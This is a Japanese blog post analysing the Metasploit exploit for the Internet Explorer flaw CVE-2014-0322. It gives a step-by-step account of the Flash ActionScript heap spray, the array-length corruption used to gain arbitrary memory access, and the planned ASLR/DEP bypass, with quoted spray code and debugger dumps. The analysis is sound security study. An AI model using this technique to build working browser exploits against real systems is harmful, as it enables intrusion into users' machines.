前回は CVE-2014-0322 の脆弱性そのものについての考察でした。今回から、exploit のコードを見ていきます。何度も同じ URL を掲載しますがコードは、Ruby スクリプトと ActionScript です。

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb

https://github.com/rapid7/metasploit-framework/blob/abd76c50000e75bcac0616b96cd8583e1df3927f/external/source/exploits/CVE-2014-0322/AsXploit.as

大まかな流れは以下の通り。最後の 14. はまさに ROP chain (ROP=Return Oriented Programming) と言え、とても美しいものです。

  1. HTML を開く
  2. SWF がロードされ、ActionScript のコードが実行される
  3. ActionScript から Heap Spraying を行い、4K 単位でアラインされる配列の配列を確保
  4. ActionScript から JavaScript の関数を実行し、脆弱性 CVE-2014-0322 を引き起こす
  5. 脆弱性によって、スプレーしていた配列 1 つの長さが伸びる (000003f0 → 010003f0)
    1. を利用して、その次のページにある配列の長さを 0x3fffffff に変更
      長さを変更したページより後の全ての仮想アドレスを ActionScript の配列経由で読み書き可能になる
  6. メモリ上を検索して、flash.ocx のベースアドレスを見つける
    →bypassing ASLR
  7. flash.ocx のインポート テーブルから VirtualProtectStub API のアドレスを取得
    → bypassing DEP
  8. flash.ocx のコード領域で、0xC394 という WORD 値を見つける
  9. ここまでに取得した数値を使って、偽のスタック領域を作成
  10. メモリ上を検索して ActionScript の Sound オブジェクトを見つける
  11. Sound オブジェクトの vtable を書き換える
  12. ActionScript から Sound.toString() を実行
  13. call - ret - ret と 3 回ホップした後、ヒープ上に流し込んでおいたペイロードが実行される

なぜかスライドにまとめてあります。(諸般の事情により仕事で使う機会がなくなった・・)決してこのブログのために作ったんじゃないんだからねっ。
http://1drv.ms/XYMqzT

1. Heap Spray からメモリを乗っ取るまで

はじめに、HTML に埋め込まれた EMBED タグによって、swf ファイルがロードされて実行されます。このとき実行されるのは AsXploit クラスのコンストラクターで、そこから呼ばれる init_heap() が Heap Spray を行います。前回見たように、脆弱性によって「書き込み可能な任意の場所の Byte 値をインクリメント」することが可能です。これを利用し、配列の長さを保存している DWORD 値の最上位バイトをインクリメントさせて、本来アクセスできないメモリ領域にも配列経由でアクセスできるようにするのが目的です。Heap Spray の wiki を見ると、NOP slide などのように実行可能なコードをスプレーする手法が書かれていますが、DEP による防御があるので、現在は (少なくとも exploit の最初の段階では) 使えません。

/* Spray the integer array */ 
this.s = new Vector.(0x18180); 
while (len < 0x18180) { 
  this.s[len] = new Vector.<uint>(0x1000 / 4 - 16); 
  for (i=0; i < this.s[len].length; i++) { 
    this.s[len][i] = 0x1a1a1a1a; 
  } 
  ++len; 
} 

上記コードでのポイントは配列の長さ0x1000 / 4 - 16 (=3f0) です。これによって、各 Vector.<uint> がページの先頭にアラインされるようになります。/4 しているのは uint が 4 バイトからです。実際のデータである0x1a1a1a1a の前に、配列の長さである 000003f0 と、下記の例でいえば 07c53000 という DWORD 値が存在するので -2、-16 しているので実データの後にある 56 バイト (^14 * sizeof(uint)) が余ります。これが使われているかどうかは不明。 0x18180 と0x1a1a1a1a は何でもいいはずです。これにより、先頭が 3f0 で始まるページが 0x18180 個できました。

0:028> dd 09151000-40 
09150fc0  1a1a1a1a 1a1a1a1a 00000000 00000000 
09150fd0  00000000 00000000 00000000 00000000 
09150fe0  00000000 00000000 00000000 00000000 
09150ff0  00000000 00000000 00000000 00000000 
09151000  000003f0 07c53000 1a1a1a1a 1a1a1a1a 
09151010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09151020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09151030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
0:028> dd 09152000-40 
09151fc0  1a1a1a1a 1a1a1a1a 09151fc0 00000000 
09151fd0  09151fc8 00000000 09151fd0 00000000 
09151fe0  09151fd8 00000000 09151fe0 00000000 
09151ff0  09151fe8 00000000 09151ff0 00000000 
09152000  000003f0 07c53000 1a1a1a1a 1a1a1a1a 
09152010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09152020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09152030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
0:028> dd 09153000-40 
09152fc0  1a1a1a1a 1a1a1a1a 00000000 00000000 
09152fd0  00000000 00000000 00000000 00000000 
09152fe0  00000000 00000000 00000000 00000000 
09152ff0  00000000 00000000 00000000 00000000 
09153000  000003f0 07c53000 1a1a1a1a 1a1a1a1a 
09153010  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09153020  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a 
09153030  1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a

ちなみに、3f0 の次の 07c53000 という値、これは何らかのオブジェクトの vtable のように見えます。今回は使っていませんが、ベースアドレスの検索のときには、配列の長さの次の DWORD 値を使ったほうが効率が良くなる気がします。

0:028> dd 07c53000 l8 
07c53000  70be22d0 01010000 00000000 07c46080 
07c53010  0000be12 00000000 000d471e 00000000 
0:028> dd 70be22d0 
70be22d0  70a06d00 70a0b5a0 70a06d30 70a0abc0 
70be22e0  2e63672e 6c6c6f43 00746365 2e63672e 
70be22f0  6c6c6f43 69746365 6f576e6f 00006b72 
70be2300  2e63672e 65657753 00000070 6d656d5b 
70be2310  7773205d 2d706565 72617473 00000a74 
70be2320  6f666542 73206572 70656577 6d656d20 
70be2330  2079726f 6f666e69 00000a3a 65746641 
70be2340  77732072 20706565 6f6d656d 69207972 
0:028> u 70a06d00 
Flash!IAEModule_AEModule_PutKernel+0x384620: 
70a06d00 55              push    ebp 
70a06d01 8bec            mov     ebp,esp 
70a06d03 56              push    esi 
70a06d04 8bf1            mov     esi,ecx 
70a06d06 e8d5faffff      call    Flash!IAEModule_AEModule_PutKernel+0x384100 (70a067e0) 
70a06d0b f6450801        test    byte ptr [ebp+8],1 
70a06d0f 7409            je      Flash!IAEModule_AEModule_PutKernel+0x38463a (70a06d1a) 
70a06d11 56              push    esi 
0:028> u 70a0b5a0 
Flash!IAEModule_AEModule_PutKernel+0x388ec0: 
70a0b5a0 55              push    ebp 
70a0b5a1 8bec            mov     ebp,esp 
70a0b5a3 83ec18          sub     esp,18h 
70a0b5a6 a13080d070      mov     eax,dword ptr [Flash!IAEModule_IAEKernel_UnloadModule+0x2ce390 (70d 
08030)] 
70a0b5ab 33c5            xor     eax,ebp 
70a0b5ad 8945fc          mov     dword ptr [ebp-4],eax 
70a0b5b0 837d0c00        cmp     dword ptr [ebp+0Ch],0 
70a0b5b4 56              push    esi 
0:028> !address 70be22d0

Mapping file section regions... 
Mapping module regions... 
Mapping PEB regions... 
Mapping TEB and stack regions... 
Mapping heap regions... 
Mapping page heap regions... 
Mapping other regions... 
Mapping stack trace database regions... 
Mapping activation context regions...

Usage:                  Image 
Base Address:           70a50000 
End Address:            70c38000 
Region Size:            001e8000 
State:                  00001000        MEM_COMMIT 
Protect:                00000002        PAGE_READONLY 
Type:                   01000000        MEM_IMAGE 
Allocation Base:        700c0000 
Allocation Protect:     00000080        PAGE_EXECUTE_WRITECOPY 
Image Path:             C:\Windows\System32\Macromed\Flash\Flash.ocx 
Module Name:            Flash 
Loaded Image Name:      Flash.ocx 
Mapped Image Name: 
More info:              lmv m Flash 
More info:              !lmi Flash 
More info:              ln 0x70be22d0 
More info:              !dh 0x700c0000

あとは、脆弱性を引き起こして 3f0 を 010003f0 にするだけなのですが、どのアドレスの値をインクリメントすればいいのでしょうか。これは面白いことに決め打ちされていて、1a000000 です。JavaScript のコードに 0x19fffff3 という値がハードコードされており、+10 されたところのバイトがインクリメントされるので、1a000003、すなわち 1a000000 にある 000003f0 が 010003f0 になります。


Heap Spray 後の iexplore.exe の VMMap

スライドにも含めていますが、HeapSpray 後の iexplore.exe の VMMap を取ってみました。黄色の部分が Private Data で、ほとんどが init_heap() でスプレーされた部分です。紫の部分がロードされたイメージ データです。上が 0x00000000 で下が 0x7fffffff なので、スプレーされた部分は、メモリの空き領域の先頭から順番に埋められているように見え、イメージデータは 0x7fffffff に比較的近いところにまとまっているように見えます。この配置が Windows のどういう動作に起因するものなのかはまだ調べきれていません。今回の exploit は、配列の長さを変更してメモリ領域への制御を乗っ取るので、制御可能な領域を下に伸ばすことはできても、上に伸ばすことはできません。もし、イメージデータがメモリ全体に均等に分散していたり、Private Data よりも上に固まっていたら、今回の exploit は不可能です。素人目には、ASLR でイメージデータがもっと均等に分散された方がセキュアな気がするのですが、そのへんについては後で軽く調べておきたいところです。

0:028> s -q 0 l1000000 07c53000`000003f0 
07c55000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07c99000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07c9b000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07c9c000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d14000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d64000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d65000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d66000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d68000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d69000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
07d6a000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
0:028> s -q 10000000 l1000 07c53000`000003f0 
10000000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10001000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10002000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10003000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10004000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10005000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10006000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 
10007000  07c53000`000003f0 1a1a1a1a`1a1a1a1a 

3f0 と vtable のアドレスをもとにメモリを検索すると、最初のアドレスは07c55000 でした。これはメモリの状態に依存しますが、概ね 07000000 前後から始まります。ただし最初の方では、別の用途で使われている Private Data もあるので、3f0 で始まるページは飛び飛びになっています。それが、10000000 を超えたあたりでは、すべてのページがスプレーされたものになっています。脆弱性で書き換える部分は 10000000 でも問題なさそうですが、十分に余裕を見て 1a000000 を選んだ、ということでしょうか。何せ 3f0 で始まるページは配列の長さの 0x18180 個あるので、概算で 07000000+18180000=1f180000 あたりまでのアドレスならどれでも選べます。後半の方が高確率で 3f0 開始ページになるので、1a000000 は確かに妥当に思えます。

さて、init_heap() はもう一つ Sound オブジェクトの二次元配列を作ります。これは exploit の最終段階で使います。ここでのポイントは、0x1234 という長さにあります。Sound オブジェクトの vtable を書き換えるため、Sound オブジェクトのある場所を探索するのですが、0x00001234 という配列の長さを利用して Sound オブジェクトの配列を特定し、vtable を見つけます。配列の長さとしては何を使ってもいいのですが、特徴的な値として 0x1234 を選んだのでしょう。

/* Spray sound object ptr */ 
this.sound = new Sound(); 
this.spraysound = new Vector.(0x100);

len = 0; 
while (len < 0x100) { 
this.spraysound[len] = new Vector.(0x1234); 
  for (i=0; i < this.spraysound[len].length; i++) { 
    this.spraysound[len][i] = this.sound;  
  } 
  ++len; 
}

init_heap() で Heap Spray が終わると、ExternalInterface.call() を使って JavaScript の関数を呼び出し、脆弱性を実行します。これには少し時間がかかるので、タイマーを使って 1 秒毎に、0x18180 ある配列のうち、どれか一つが 0100003f0 に変わっているかどうかを確認します。0100003f0 になっている配列を見つけたら、すかさずそのインデックスを記録し、タイマーを止めてから corruptNextVector() を呼び出します。この corruptNextVector() は単純で、配列の要素をチェックして、000003f0 があったら 3fffffff に変更するだけです。配列の要素はすべて 0x1a1a1a1a で初期化したはずですが、脆弱性によって配列が “延長” されているため、次の配列の長さを保持する DWORD 値に対して、配列からアクセスすることができるのです。前述のように、1a000000 前後では基本的に全てページが 3f0 の配列で埋められているので、ここで 3fffffff をセットする位置は、1a000000 の次のページである 1a001000 になるはずです。汎用性を気にしないとしたら、corruptNextVector() を使わなくても、this.s[i][0x1000/4-2]=0x3FFFFFFF で同じことが実行できるはずです。3fffffff をセットしたら、getCorruptedVectorIndex() を使って、長さが 3fffffff になっている配列のインデックスを取得します。ここまでで、配列を使って0x1a000008 以降の任意のメモリへのアクセスが可能になりました。

少々短いですが、今回はここまで。